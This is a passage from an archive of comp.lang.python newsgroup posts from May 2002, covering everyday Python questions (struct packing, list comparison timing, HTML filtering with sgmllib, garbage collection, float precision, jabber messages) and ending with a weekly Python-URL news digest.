| DROP_90 | DROP_SKELETON | DROP_CORPSE | F:OPEN_DOOR | MALE | WILD_TOO | WILD_WASTE | WILD_SWAMP | F:MORTAL | ZANGBAND D:A mutated rat-creature from the great waste, it is vaguely D:humanoid in appearance and walks on its hind legs. This race D:serves chaos fervently and is greatly feared by others. As you can see, there are a lot of things to remember and a lot of chances to screw up when editing these things, which is why I want to make something to make this easier. The problem is, there are many files that use the same basic structure, and the files structre and e.g. avilable flags differs between varients. For exapmle, here's a simpler kind of file that i want use to prototype this program with: # N:: # I::::: # C::: # L:liked races # H:hated races N:0:Bilbo the Friendly(Hobbit) I:20000:170:108:5:15 C:120:100:80 L:Elf | Half-Elf | High-Elf | Dunadan | Hobbit | Dwarf | RohanKnight H:Orc | Troll | DeathMold | Half-Ogre | Beorning | Kobold Here, C, L, H lines are optional. Anyway, I want to make a generic editor program that reads some datafile to determine the structure of the 'info' file it needs to edit, and constructs it's interface from there. I'd assume i'd have some kind of list interface to deal with the records (using the N line information that all of thie files that I want to edit use), and that I'd have customized controls for editing the different types of data (e.g. flag_checkboxes, string_field, dice_field, number_field). What i -don't- have a clue how to do is the part that puts the pieces together depending on the situation, and the parts that actually parse the various files. What i'm asking for is any pointers or insight that could help me solve this problem more efficently. Thank you. -- Philip Sw "Starweaver" [rasx] :: www.rubydragon.com From erno-news at erno.iki.fi Tue May 7 18:41:27 2002 From: erno-news at erno.iki.fi (Erno Kuusela) Date: 08 May 2002 01:41:27 +0300 Subject: HTTP or alternative upload for large files References: <0gofdukc6c10c0lg2t6qcadov2mqt2a7nu@4ax.com> Message-ID: In article <0gofdukc6c10c0lg2t6qcadov2mqt2a7nu at 4ax.com>, robin at execulink.com writes: | I imagine the answer to this problem is "don't use HTTP", but I do | need a seemless solution from a web application. why not use ftp? with 500mb a capability to resume the upload would be essential even if you didn't have regular problems with timeouts. -- erno From aleax at aleax.it Sat May 4 04:45:24 2002 From: aleax at aleax.it (Alex Martelli) Date: Sat, 04 May 2002 08:45:24 GMT Subject: module random: delay in "seeding" References: <7xznzg717j.fsf@ruckus.brouhaha.com> Message-ID: Paul Rubin wrote: ... >> forever). If you get unanimous agreement from all the usual c.l.py >> suspects that they won't piss and moan if I fix it, I will. > > I'm in favor of fixing it. I'm not, particularly, but I won't complain if it's changed -- my code using random makes no hypothesis about whether r.seed keeps or resets r.gauss_next, anyway. Alex From nospam at [127.0.0.1] Fri May 31 05:20:32 2002 From: nospam at [127.0.0.1] (Chris) Date: Fri, 31 May 2002 10:20:32 +0100 Subject: Spiral References: Message-ID: In article , Duncan Booth writes >Chris wrote in news:oVFhzeC$Vy98Ewkp@[127.0.0.1]: >> Thanks - and thanks to others who replied, too. >> I'm totally new to Python and so I'll have to experiment a bit - >> but does your program work with the standard Python package or do I have >> to get some add-ons? (It's the "import" that made me wonder.) >My example works with the standard Python 2.2.x provided you use a version >that comes with Tkinter (most do including the standard Windows >distribution). The easiest way to run it is to run the 'Idle' gui that also >comes as part of the normal distribution. >The 'turtle' module is part of the standard library: almost everything in >Python lives in a module and has to be imported before you can use it: even >the cos and sin functions I used were imported from turtle (which in turn >had imported them from math). I tried your program and it worked - although it didn't do the same as my QBASIC program. Yours simply drew a fairly open spiral - not a tight one giving the moir? patterns. Did you get them? (I probably made some elementary mistake!) -- Chris From peter at engcorp.com Sat May 18 00:18:14 2002 From: peter at engcorp.com (Peter Hansen) Date: Sat, 18 May 2002 00:18:14 -0400 Subject: Unpacking a hex value References: <3CE5A7A7.2060204@hotmail.com> <3CE5B856.D1150BCC@engcorp.com> <3CE5BD65.3000908@hotmail.com> Message-ID: <3CE5D606.5D539589@engcorp.com> Matthew Diephouse wrote: > > def hex2bin(input) > output = hex( input ) > output = pack("!l", output) > ... > > From this, I get the error "required argument is not an integer", as > previously stated. There's no other info in the Traceback that's > important. I've tried wrapping output with a call to the int() function, > but that doesn't work either. Well, hex() returns a string, not an integer. The error message is telling you that an argument to struct.pack() needs to be an integer but is not. So why use hex()? The input to int() must be a decimal integer string, not a hexadecimal one, so you get the "invalid literal for int()" message, presumably. You could use int(output, 16) instead, which knows about the leading "0x" in the string and skips it, or you could just pass the integer "input" directly to the pack statement... I get the impression you are trying to do something slightly different than what either of these solutions gives you, so maybe you could give examples of input and desired output if that doesn't solve your problems. > You did get me on the "!l" instead of "l!", but it didn't specify order > in the struct docs, so I was guessing. It is a little hard to find, but: "Alternatively, the first character of the format string can be used to indicate the byte order, size and alignment of the packed data, according to the following table:" [table snipped] -Peter From kragen at pobox.com Tue May 14 00:15:52 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 14 May 2002 00:15:52 -0400 Subject: Simple question about how the optimizer works References: Message-ID: <83u1pbicuf.fsf@panacea.canonical.org> Simon Brunning writes: > I can't see how this optimisation could be automated - function f may or may > not have side effects. Checking whether f has side effects can be automated. Of course, you need a fallback strategy for when f gets rebound between when the code is compiled and when it is run. From martin at v.loewis.de Sun May 12 11:22:48 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 12 May 2002 17:22:48 +0200 Subject: Changing to future division sitewide References: Message-ID: "Terry Reedy" writes: > If you can compile an interpreter, I would suspect this would be > fairly easy to do. In that case, you need to change Objects/object.c, and specifically set Py_DivisionWarningFlag to 2. HTH, Martin From jason at tishler.net Mon May 6 14:32:36 2002 From: jason at tishler.net (Jason Tishler) Date: Mon, 06 May 2002 14:32:36 -0400 Subject: Creating C modules for Python under Cygwin In-Reply-To: References: <3CD41CC4.5752F30C@wag.caltech.edu> <20020506131744.GD1668@tishler.net> <20020506165922.GN1668@tishler.net> Message-ID: <20020506183218.GR1668@tishler.net> Martin, On Mon, May 06, 2002 at 07:57:45PM +0200, Martin v. L?wis wrote: > Now that we all agree that it *could* be done differently, the > question indeed is whether it should be done differently. OK, I will wait for feedback. So, far I got one taker, but no details as to why. > In the specific case of Cygwin, it may be worth a try to see whether > -Wl,--export-dynamic works - on other systems, that automatically > manages to export all symbols from the executable, and indeed Python > uses that feature, e.g. on Linux. Thanks for the above pointer -- I'll check it out. Jason From marklists at mceahern.com Thu May 2 09:45:38 2002 From: marklists at mceahern.com (Mark McEahern) Date: Thu, 2 May 2002 08:45:38 -0500 Subject: NEWBIE QUESTIION: Comparing Lists in Python In-Reply-To: Message-ID: [Alex Martelli] > The way to get O(N) behavior is to construct auxiliary dictionaries: > > dict1 = dict(zip(list1,list1)) > returnList2 = [x for x in list2 if x not in dict1] > > "x not in C" takes O(N) time if container C is a sequence with N > elements, but (roughly) O(1) time if C is a dictionary. Building a > dictionary of N items is roughly O(N). Alex, thanks for the zip tip. I don't usually reach for that particular hammer--this usage broadens my horizons. I whipped together the program below to time the difference between a raw compare and a compare with an auxiliary dictionary (in the program I contrast these two approaches as raw and zip). It seems that with a small list size (10-100), the performance boost of the zip is negligible? Here are some results: Usage: time_not_in.py count share. count is the size of each list. share is the number of elements they share. $ time_not_in.py 100 10 raw: 0.004 seconds. zip: 0.001 seconds. $ time_not_in.py 1000 100 raw: 0.394 seconds. zip: 0.010 seconds. $ time_not_in.py 10000 1000 raw: 44.949 seconds. zip: 0.176 seconds. Cheers, // mark #! /usr/bin/env python import time def not_in_list_zip(l1, l2): """ Return a list of elements from l1 that are not in l2. """ d = dict(zip(l2, l2)) return [x for x in l1 if x not in d] def not_in_list_raw(l1, l2): """ Return a list of elements from l1 that are not in l2. """ return [x for x in l1 if x not in l2] def time_raw(l1, l2): f = not_in_list_raw return time_it(f, l1, l2) def time_zip(l1, l2): f = not_in_list_zip return time_it(f, l1, l2) def time_it(f, l1, l2): start = time.time() d1 = f(l1, l2) d2 = f(l2, l1) end = time.time() return d1, d2, end - start def show_time(s, t): print "%s: %1.3f seconds." % (s, t) def main(): import os, sys prog = os.path.basename(sys.argv[0]) usage = "Usage: %s count share." % prog default_count = 10 default_share = 2 try: count = int(sys.argv[1]) except IndexError: count = default_count try: share = int(sys.argv[2]) except IndexError: share = default_share l1 = range(0, count) l2 = range(count - share, 2 * count - share) raw_d1, raw_d2, raw_t = time_raw(l1, l2) zip_d1, zip_d2, zip_t = time_zip(l1, l2) show_time("raw", raw_t) show_time("zip", zip_t) if __name__ == "__main__": main() From Answer.via.news.please.prikrylp at nospam_skil.cz Thu May 16 05:47:46 2002 From: Answer.via.news.please.prikrylp at nospam_skil.cz (Petr Prikryl) Date: Thu, 16 May 2002 11:47:46 +0200 Subject: Beginner: HTML Parsing References: Message-ID: Hi David, Try to search for "Dive Into Python" by Mark Pilgrim. There is a section about HTML processing and also about XML processing. The book is available at http://diveintopython.org/ for free in various formats. In my opinion, it is one of those "excelent books" readable from start to the end. HTH, Petr "J. David Lashar" wrote in message news:abunna$9s2$1 at slb2.atl.mindspring.net... > As a beginner, I'm working through the O'Reilly books mentioned in an > earlier posting, but I haven't found much guidance on parsing an HTML file > once I've pulled it down with httplib. And I'm finding the Python Library > Reference to be a bit cryptic. Could someone point to resources or provide > examples? From alf at logilab.fr Thu May 16 07:45:08 2002 From: alf at logilab.fr (Alexandre Fayolle) Date: Thu, 16 May 2002 11:45:08 +0000 (UTC) Subject: sorted list vs dictionnary Message-ID: Hello everyone, I have a class that is able to process messages. I want to avoid processing the same message twice, so a solution is to maintain a set of processed messages IDs, and to check if for the presence of the ID before processing a document. I've found two ways (without using anything outside the standard library) of doing this: * use a dictionnary with the ID as the key and None as the value, and check for the key with cache.has_key(msg.ID) * use a sorted list and the bisect module to keep it sorted, and check for the key with i = bisect.bisect_left(l,e) if i References: Message-ID: <20020516002441.GB5971@i92.ryd.student.liu.se> [Michael Hudson] > "Mark Hadfield" writes: ... > > - The Cray compiler does not support dynamic linking, so extensions > > must be explicitly listed in Modules/Setup. Here is the list of > > extensions I have built & linked successfully: ... Good to have, thanks. I'll check my Modules/Setup, I had some linking problems. > That's a fairly impressive list. Indeed. Much better than I expected from UNICOS. > Did the unicodedata module fail to build, or did you not try it? It failed for me. I'll check out why. ... > Yeah, the md5 code that comes with Python is fairly 32 bit specific. > However, if you can find some md5-for-cray code in the wild, it's > probably not too much effort to hook it up to Python. I'll put this on my TODO as well. With an exam period coming up, I should have some free time. Med utm?rkt h?gaktning, Kalle -- Kalle Svensson, http://www.juckapan.org/~kalle/ Student, root and saint in the Church of Emacs. From gcordova at hebmex.com Wed May 22 09:48:23 2002 From: gcordova at hebmex.com (Gustavo Cordova) Date: Wed, 22 May 2002 08:48:23 -0500 Subject: Destructor Message-ID: > > Rajat Chopra writes: > > > I have a very quick and basic question -- but I was just > > when exactly a Destructor is invoked? Do you have to delete > > the object (ex: del OBJECT ) or is it enough to say > > OBJECT = None ??? > This is a visual basic idiom, setting an object to Nothing in order to destruct a referenced object. No need for that in Python. If you have an object reference in a variable, setting that variable to another value frees the previous reference; and if that object does not have any other strong references (it can have weak references) then it may be destructed. "May" be destructed, because there's no guaranteed moment the destructor can be called. I CPython's case, the destructor is called once it's detected that there are no more references to an object, but in other implementations it may behave differently. So, no need to do "obj = None" to free an object, just "del obj" is enough, if you absolutely can't wait for the variable to loose scope and dissapear on it's own. -gustavo From stuart at bmsi.com Wed May 1 16:04:05 2002 From: stuart at bmsi.com (Stuart D. Gathman) Date: Wed, 01 May 2002 20:04:05 GMT Subject: HTML filtering References: <01Xz8.21629$YQ1.8012127@typhoon.southeast.rr.com> Message-ID: On Wed, 01 May 2002 15:06:36 -0400, Stuart D. Gathman wrote: > I need to filter HTML to remove certain constructs (e.g. ). I am trying to use the batteries. The htmllib module > helps with the parsing, but it seems like a lot of work to create a > formatter that passes everything (except script) through in HTML syntax > - espicially trying to preserve original syntax. Am I missing > something? Here is a attempt at making a "pass through" HTML filter. It changes the case of end tags (e.g. "" -> ""). Is there a way to fix that? import sys import sgmllib class HTMLFilter(sgmllib.SGMLParser): "Parse HTML and pass through all constructs unchanged. It is intended for derived classes to implement exceptional processing for selected cases." def handle_comment(self,comment): sys.stdout.write("" % comment) def unknown_starttag(self,tag,attr): sys.stdout.write(self.get_starttag_text()) # sys.stdout.write("<%s" % tag) # for (key,val) in attr: # sys.stdout.write(' %s="%s"' % (key,val)) # sys.stdout.write('>') def handle_data(self,data): sys.stdout.write(data) def handle_entityref(self,ref): sys.stdout.write("&%s;" % ref) def handle_charref(self,ref): sys.stdout.write("&#%s;" % ref) def unknown_endtag(self,tag): sys.stdout.write("" % tag) -- Stuart D. Gathman Business Management Systems Inc. Phone: 703 591-0911 Fax: 703 591-6154 "Confutatis maledictis, flamis acribus addictis" - background song for a Microsoft sponsored "Where do you want to go from here?" commercial. From aahz at pythoncraft.com Sat May 18 17:00:13 2002 From: aahz at pythoncraft.com (Aahz) Date: 18 May 2002 17:00:13 -0400 Subject: Disabling garbage colletion? References: Message-ID: In article , Philip Swartzleonard wrote: > >Hm, i just read in another post that you can turn off the garbage >collector? What exactly does this stop from happening? Is this a good idea >if e.g. you have a system which is guarenteed not to have cyclic-y >problems? Hm..... =) It exactly stops the garbage collector. ;-) I don't know that I'd call it a "good idea" unless you have an application that * Has lots of objects in memory (more than 100K objects) * Is running too slowly * Is CPU-bound * You have exhausted other Python-based performance improvements * You have tested gc.disable() and it provides a sufficient performance boost Generally speaking, because Python uses a generational scheme for garbage collection, GC shouldn't be a huge drag on performance. Like other implementation-dependent performance optimizations, disabling GC should be avoided. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "In the end, outside of spy agencies, people are far too trusting and willing to help." --Ira Winkler From lucaf_lucaf at FILTROhotmail.com Wed May 15 15:05:57 2002 From: lucaf_lucaf at FILTROhotmail.com (dix) Date: Wed, 15 May 2002 19:05:57 GMT Subject: PDF creation starting from TIFF files Message-ID: Hi to all, I would like to know if anyone of you has already solved this need: I have to code an open-source python application that takes as input several tiff files and convert them in pdf format creating a single pdf file (page1.tif, page2.tif, page3.tif,....pageN.tif into SingleDocument.pdf). The conversion to pdf is not enough, I need only the combining of the N files into a single pdf. I would like to use just free tools and libraries. Thank you very much for all the support!! dix From aleax at aleax.it Thu May 9 07:41:02 2002 From: aleax at aleax.it (Alex Martelli) Date: Thu, 09 May 2002 11:41:02 GMT Subject: Python vs. Perl, which is better to learn? References: <3CD92111.7060704@mxm.dk> <3CD9E0AB.BA39DE6C@cascade-sys.com> Message-ID: Laura Creighton wrote: ... > You can stop agreeing with the Martellibot as well. We have already > recognized his competance, which is why he is a bot. Stop trying to I think you have causality backwards here (humans DO that, at times). It's my reasonably-well-programmed bothood that causes fair-viewing humans to recognize my overall competence, despite the several bugs that are fairly evident in the coding (the time-management-according- to-priorities module in particular is an unsalvageable mess -- I either get OFF c.l.py altogether for a while, and soon I'll have to do that again, or I just can't resist poking my antennas in, for example...). Alex From aleax at aleax.it Thu May 2 16:39:19 2002 From: aleax at aleax.it (Alex Martelli) Date: Thu, 02 May 2002 20:39:19 GMT Subject: Newbie: finding the key/index of the min/max element References: <200204301620.00255.bhan@andrew.cmu.edu> <3CD14EE9.22B7F4F2@cascade-sys.com> Message-ID: John J. Lee wrote: > On Thu, 2 May 2002, Alex Martelli wrote: > [...] >> Given that performance considerations cannot necessarily be _kept_ >> apart, the main worth of FP is still as a thinking tool (in most cases). > [...] > > I'm surprised enough by this statement that I think I must have > misunderstood it. Surely the fact that performance can't always be > separated from the rest of programming doesn't imply that 'higher-level', > slower languages than C++ (such as Python) are only of value as thinking > tools in most cases?? Of course not. In performance issues, one must always distinguish between "big-O" ones, and ones that boil down to mere multiplicative constants. The latter ones, Moore's Law takes care of -- a law that's been operating for so long, that most problems can by now be tackled most cost-effectively in higher-level languages (often with the help of lower-level languages for small but crucial bottlenecks). A program in C or Python may typically have the same big-O performance, and only differ by such multiplicative constants. This is not necessarily the same for a program that works on the basis of modifiable data or rebindable names (as a C or Python one may) versus one that doesn't, cannot, modify nor rebind. Although I don't recall the details, I believe there's some underlying result in the theory -- about the potential slowdown in transforming Turing machines being bounded if they're both alterable-tape, but not from one with an alterable tape to one with a single-assignment tape. Those "most cases" may be an overbid in practical terms -- with a _little_ bit of deviation from FP here and there (or maybe even without anything such, depending on how you understand and consider Haskell monads), many problems of practical importance may indeed be solved by near-pure FP (even though in theory infinitely more programs might not be thus solvable without big-O performance penalties). As I understand, Erlang is in widespread real-world use, and Haskell and ML variants can obtain excellent performance on many problems. Alex From tdelaney at avaya.com Wed May 1 04:00:54 2002 From: tdelaney at avaya.com (Delaney, Timothy) Date: Wed, 1 May 2002 18:00:54 +1000 Subject: Newbie: finding the key/index of the min/max element Message-ID: > From: Alex Martelli [mailto:aleax at aleax.it] > > (and I think Portuguese-speakers too -- isn't "Paulista" > somebody from the city of Sao Paulo, Brazil?). Indeed. In Portuguese there is also "istano" - in fact, "sou Paulista" means "I am from the city of Sao Paulo" whereas "sou Paulistano" means "I am from the state of Sao Paulo (specifically excluding the city)". Similarly "sou Corinthiano" - "I am a supporter of the Corithians football team" (and if anyone says "sou Palmeirense" ... eu te odeio ;) Slang is fun, isn't it? The uses of -ista in Portuguese correspond to those in Spanish and Italian - it's used for professions, groups, etc. But there are lots of exceptions. Tim Delaney From sarmstrong13 at mac.com Sun May 26 00:34:38 2002 From: sarmstrong13 at mac.com (SA) Date: Sat, 25 May 2002 23:34:38 -0500 Subject: Another OOP question. Message-ID: The following is an example class from a tutorial: class Message: def __init__(self, aString): self.text = aString def printIt(self): print self.text Let me see if I am understanding the structure correctly. __init__ is used first to initialize the class. Self refers to the class. Astring is the variable passed to the class from code outside the class. PrintIt is called from outside code to print the variable loaded in the class. Ok. Given that this is an overly simplistic explanation, is this the correct interpretation of this class? Thanks. I hope I'm finally getting OOP. SA From ingo.linkweiler at icc-computer.de Fri May 31 19:16:05 2002 From: ingo.linkweiler at icc-computer.de (Ingo Linkweiler) Date: Sat, 01 Jun 2002 01:16:05 +0200 Subject: Why does this work: 5<"five" ? Message-ID: <3CF80435.689AE006@icc-computer.de> Hi, today I found a really annoying "feature" of Python: >>> 5<"five" 1 Why can I compare values of any type ? >>> class x: ... pass >>> 5==x 0 >>> 5>> coerce(5,"five") Traceback (most recent call last): File "", line 1, in ? TypeError: number coercion failed So what is the interpreter doing here? Ingo From kragen at pobox.com Tue May 14 03:09:54 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 14 May 2002 03:09:54 -0400 Subject: turtlegraphics conversion to postscript? References: <3cd9913c$0$34296$6e365a64@newsreader02.highway.telekom.at> Message-ID: <83it5rgq7x.fsf@panacea.canonical.org> Gerhard Reuteler writes: > I'm using the tkinter turtlegraphics package. Is it possible to have these > graphics converted to a postscript file for nice printing? Yes, I believe the Tkinter Canvas widget the turtle.py package uses has a postscript() method; IIRC it produces an EPS file that is also printable on its own. From a2600 at hotmail.com Tue May 21 04:10:31 2002 From: a2600 at hotmail.com (joe user) Date: 21 May 2002 01:10:31 -0700 Subject: xml.dom.minidom Message-ID: <28c7ef7c.0205210010.4f363646@posting.google.com> Hi. I am experimenting with XML, the very first steps into this world. I have successfully created a XML-document with minidom, that is great. However, I have huge problems to read and parse it afterwards. The document looks like this: <text> <data> Hello World </data> </text> <footer> <data> Hello Footer </data> </footer> </mydoc> What I would like to do is to get the contents of the "<data>"-tag within the "<footer>"-tag. If anyone has a minute over, could you please give me an example on how to proceed? TIA // JuDD From paul at boddie.net Mon May 13 13:56:16 2002 From: paul at boddie.net (Paul Boddie) Date: 13 May 2002 10:56:16 -0700 Subject: OT: Crazy Programming References: <mailman.1021198403.21335.python-list@python.org> <87offlnq3k.fsf@mathdogs.com> <chris-55B5FD.02324413052002@corp.supernews.com> <abnqdd$8bf$1@slb0.atl.mindspring.net> Message-ID: <23891c90.0205130956.6f0436a0@posting.google.com> "Andrew Dalke" <dalke at dalkescientific.com> wrote in message news:<abnqdd$8bf$1 at slb0.atl.mindspring.net>... > > Since Perl people like the analogy to human languages, it's like me > saying I drink 'soda's while people in the Midwest drink 'pop'. This is one thing I strongly dislike about the "Perl attitude" to programming, along with the "coding is an art not a science" viewpoint and the "code is poetry" school of thought. Programming and coding are (or should mostly be) sciences or engineering practices which we should strive to get right every time - programmers and developers are, after all, writing instructions for machines which pretty much have to do the right thing all the time, not just when it's "cool" to do so (or not to do so). Certainly, the number of situations where poetry-as-code is acceptable should be much fewer than seems to be the case today, and I'm not just referring to situations where Very Expensive Spacecraft must avoid just dropping into the ocean because it "felt like it". Even in "home computing", people get frustrated when programs crash, leading to bad experiences and a negative impression of a technology that should be beneficial. Newcomers to computing must sometimes wonder what the profession has been up to for the last 50 years... Paul From dwelch91 at home.nospam.com Wed May 22 19:28:30 2002 From: dwelch91 at home.nospam.com (DJW) Date: Wed, 22 May 2002 16:28:30 -0700 Subject: "casting" Python objects Message-ID: <achcu0$j62$1@news.vcd.hp.com> I know there is no such thing in Python as C-style casting, but I don't understand what idiom is supposed to be used instead. Here's the situation: I'm using jabber.py (in a worker thread) to recieve and send messages for my application. When messages arrive within jabber.py, a message is created of type jabber.Message and placed in a Queue by my connection object. In the main thread, I have a sub-class of jabber.Message, call it "FooMsg" (there are actually going to be multiple derived types of jabber.Message). My main application thread has a loop that pulls messages off the Queue and calls the appropriate handler inside of the message. However, the type of the messages are of type jabber.Message, not my FooMsg that contains the handlers: class FooMsg( jabber.Message): def Handler( self ): # call approriate handler for message ... while 1: msg = msg_queue.get() # returns type jabber.Message msg.Handler() # ERROR: Handler() is only in type FooMsg!!! Obviously, one way around this is to only place FooMsgs in the Queue in the first place. But that seems to defeat the purpose of using a generic, reusable module like jabber.py. I want to use an unmodified version of jabber.py if at all possible. The only other way I can figure to do this is something like: while 1: msg = msg_queue.get() # returns type jabber.Message node = msg.asNode() # get the contents of the jabber message foo_msg = FooMsg( node ) # create a new FooMsg with the message contents foo_msg.Handler() # Now we are calling the correct type! But this seems pretty ugly and inefficient. Is there something more Pythonic (ie, better) that I'm not seeing here? (also, I know that this is ugly OOP) Thanks, Don From python at rcn.com Tue May 7 16:56:33 2002 From: python at rcn.com (Raymond Hettinger) Date: Tue, 7 May 2002 16:56:33 -0400 Subject: pricision of string.atof? References: <Pine.SOL.4.33.0205071553320.8002-100000@radius> Message-ID: <ab9f4f$jqi$1@bob.news.rcn.net> "Elvis Chen" <chene at cs.queensu.ca> wrote > I'm working on some numerical analysis that requires rather good precision > on calculation. <snip> > >>> A > 0.42399999999999999 > >>> print A > 0.424 > > My question is, what is the TRUE value of A when I use it in calculation? > Is it indeed 0.424 or not? Neither is the TRUE value. Variable A is stored in a fixed length floating point format and .424 is not exactly representable so it is pushed to a neighboring representable (sometimes the nearest, sometimes the next lower, or sometimes the next higher depending on your implementation of floating point). That limitation, my friend, is the subject of the first chapter of every numerical analyis book I've ever seen. It is the core conceptual challenge in a field full of challenges. > If not, what can I do to work around this > problem? If you value that last digit of precision more than you value time, use Python's long ints to represent a scaled version of the number to as many digits are you prefer. For example, to compute many decimal places of 31.0 / 7.0: >>> digits = 30 >>> scale = 10L ** digits >>> num, den = 31, 7 >>> print (num*scale) / den 4428571428571428571428571428571 >>> print float(num)/ den 4.42857142857 Raymond Hettinger From kragen at pobox.com Tue May 14 14:33:23 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 14 May 2002 13:33:23 -0500 Subject: Dr. Dobb's Python-URL! - weekly Python news and links (May 14) Message-ID: <55DF356AD7484138.038401E730F49AB5.5560A4E905722A51@lp.airnews.net> What RedHat admin tool uses rand?!?!?!? And doesn't that explain a lot... See http://groups.google.com/groups?q=redhat+rand+group:comp.lang.python*&hl=en&scoring=d&selm=mailman.1021151124.25548.python-list%40python.org&rnum=1 for a technical nugget in a long, involved discussion. QOTW: "You have chosen to install a new printer. You roll a 1d20... You get a 1. *CRITICAL FAILURE* Your home directory is now being deleted." -- Jeremy Bowers Jason Tishler: "Can I play with my daughter now or should I submit a patch?" Fredrik Lundh: "... the answer to that should always be 'if she wants to play, go play with her'" Timbot: "Fiddlesticks. If she *really* wants to play, she can damn well write a Playtime Enhancement Proposal first, get community input, summarize the arguments pro and con, present them to Guido, and then he'll decide whether playtime is appropriate, and if so when. Be sure she includes full documentation for the intended modes of play, a test suite verifying compliance to the Playtime Plan, and-- if at all possible --checking for potentially unfortunate interactions with cyclic gc and the trashcan mechanism. deeply-nested-tuples-are-playtime-for-all-ly y'rs" New software releases for developers: PythonCard, a cross-platform application development framework for use by everybody, built on wxPython, released prototype version 0.6.6 (containing 30 sample applications and a new source code editor) on 2002-05-09: http://www.geocrawler.com/lists/3/SourceForge/14884/0/8623392/ PyGTK and Gnome-Python, the Python bindings to the GTK GUI widget library and the GNOME desktop library, released version 1.99.10, for GTK/GNOME 2.0, on 2002-05-14: http://www.daa.com.au/pipermail/pygtk/2002-May/002787.html PyQt, the Python bindings for the Qt GUI toolkit (which work even on the Zaurus), released version 3.2.2 on 2002-05-12: http://www.riverbankcomputing.co.uk/pyqt/ Python-SIP, a tool that makes it easy to create Python bindings for C++ libraries (much like SWIG), and which is used to build PyQt and PyKDE, released version 3.2.3, a bug-fix release, on 2002-05-13: http://mats.gmd.de/pipermail/pykde/2002-May/002796.html New software releases for XML developers: Gnosis Utils, a collection of utility Python modules including, among other things, a lot of XML processing utilities, released version 1.0 on 2002-05-09: http://www.gnosis.cx/download/ pyRXP, an XML parser that builds a lightweight tree of tuples instead of a heavyweight DOM tree and is thus an order of magnitude faster than most other Python XML parsers, released version 0.7 on 2002-05-09: http://groups.google.com/groups?selm=mailman.1020975316.11461.python-list%40python.org http://www.reportlab.com/xml/pyrxp.html New server-side web software releases: MoinMoin, a WikiWikiWeb system in Python, has finally released version 1.0 after nearly two years of development, on 2002-05-09: http://moin.sourceforge.net/ Python Community Server is an alpha-quality free reimplementation of Userland Software's Radio Community Server; version 0.04 was released on 2002-05-11: http://pycs.sourceforge.net/ Plone, a WWW content management system that runs on Zope and CMF, released version 0.9.9 on 2002-05-13: http://plone.org/ Python Web Objects, or pwo, another system that lets you embed Python code into an HTML template, released version 0.61b on 2002-05-11: http://jamwt.com/pwo/ Other new software releases: Gadfly, the in-memory pure-Python SQL relational database, is finally being worked on again by Richard Jones; a prerelease of version 1.0.0 was announced on 2002-05-13: http://groups.google.com/groups?selm=mailman.1021253184.13753.python-list%40python.org http://sourceforge.net/project/showfiles.php?group_id=662 milter, a Python interface to the Sendmail 8.10-12 libmilter interface, released version 0.4.4 on 2002-05-09: http://www.bmsi.com/python/milter.html FtpCube, a very pretty multi-platform GUI FTP client built on PyGTK, released version 0.3.0 on 2002-05-13: http://ftpcube.sourceforge.net/ rdiff-backup, a program for doing a remote incremental backup of a directory tree with the ability to restore any previous backup, released development version 0.7.4 on 2002-05-11: http://www.stanford.edu/~bescoto/rdiff-backup/ Experiments with httplib accidentally uncover easter eggs from Slashdot. http://zopezen.org/Members/zopista/1021336942 Discussion on python-list this week: The formation of the Python Business Forum, an organization of businesses that write software in Python, was announced. http://groups.google.com/groups?selm=mailman.1021079120.30733.python-list%40python.org The organization has a web page. http://pbf.nuxeo.org/ Some Emacs work was posted; Laura Creighton posted a "Python outline mode" by Ronny Wikh which lets you hide the bodies of functions and classes in Emacs. http://groups.google.com/groups?selm=mailman.1021230441.6662.python-list%40python.org Bernhard Herzog posted some (slightly broken) code to make Emacs word-wrap paragraphs in Python comments and docstrings correctly. http://groups.google.com/groups?selm=6qznz9hx0a.fsf%40abnoba.intevation.de Christian Tismer discusses Stackless Python and its prospects for getting into the standard CPython release (not good). http://groups.google.com/groups?selm=mailman.1020963136.13183.python-list%40python.org Wenshan Du had added multibyte character support to Python and posted a link to it; this initiated a lot of discussion about the right way to internationalize Python. Wenshan Du's post: http://groups.google.com/groups?selm=e786d63d.0205080421.3788a0e2%40posting.google.com The multibyte-ready Python: http://www.dohao.org/python/mbcsp/en/ Francois Pinard explains how he wishes he could write French variable names: http://groups.google.com/groups?selm=mailman.1020884595.5671.python-list%40python.org Alex Martelli explains why he would prefer everyone to program in English: http://groups.google.com/groups?selm=UVhC8.20845$CN3.673651%40news2.tin.it http://groups.google.com/groups?selm=mailman.1020937216.3332.python-list%40python.org Stephen Turnbull explains that his Japanese students hate programming in English: http://groups.google.com/groups?selm=87pu05mvmf.fsf%40tleepslib.sk.tsukuba.ac.jp Paul Boddie cuts through Sun's marketing hype and explains what J2EE is, comparing it to available Python software. http://groups.google.com/groups?selm=23891c90.0205090751.5f4f40a9%40posting.google.com Tim Peters discusses the history (and the bugs!) of one very small optimization in Python. http://groups.google.com/groups?selm=mailman.1021046059.919.python-list%40python.org Ron Stephens is delighted with his ability to run his Python scripts on his new ARM-Linux Zaurus, recommending the Zaurus Python interpreter from Riverbank Computing (the folks who do PyQT, PyKDE, and SIP). http://groups.google.com/groups?selm=3CDEE799.5030306%40earthlink.net But Alex Martelli is unhappy that Sharp won't sell him a Zaurus because he's in Italy. http://groups.google.com/groups?selm=C0KD8.50586$zW3.682855%40news1.tin.it There was some discussion of David Boddie's CMDSyntax module, a sort of replacement for getopt that can automatically pop up a GUI window (with Tkinter or PyQt) to ask for parameters not supplied on the command line. http://groups.google.com/groups?selm=18289ee4.0205130632.78dc4dbc%40posting.google.com Supercomputer folks talked about running Python on unusual platforms; in the middle of a thread of Cray folks having trouble, Holger Berger reports that Python 2.2 works fine on NEC's line of vector supercomputers, the SX-5 and SX-6. http://groups.google.com/groups?selm=abgcf2$eq4$1%40news.uni-stuttgart.de ======================================================================== Everything you want is probably one or two clicks away in these pages: Python.org's Python Language Website is the traditional center of Pythonia http://www.python.org Notice especially the master FAQ http://www.python.org/doc/FAQ.html PythonWare complements the digest you're reading with the daily python url http://www.pythonware.com/daily Mygale is a news-gathering webcrawler that specializes in (new) World-Wide Web articles related to Python. http://www.awaretek.com/nowak/mygale.html While cosmetically similar, Mygale and the Daily Python-URL are utterly different in their technologies and generally in their results. comp.lang.python.announce announces new Python software. Be sure to scan this newly-revitalized newsgroup at least weekly. 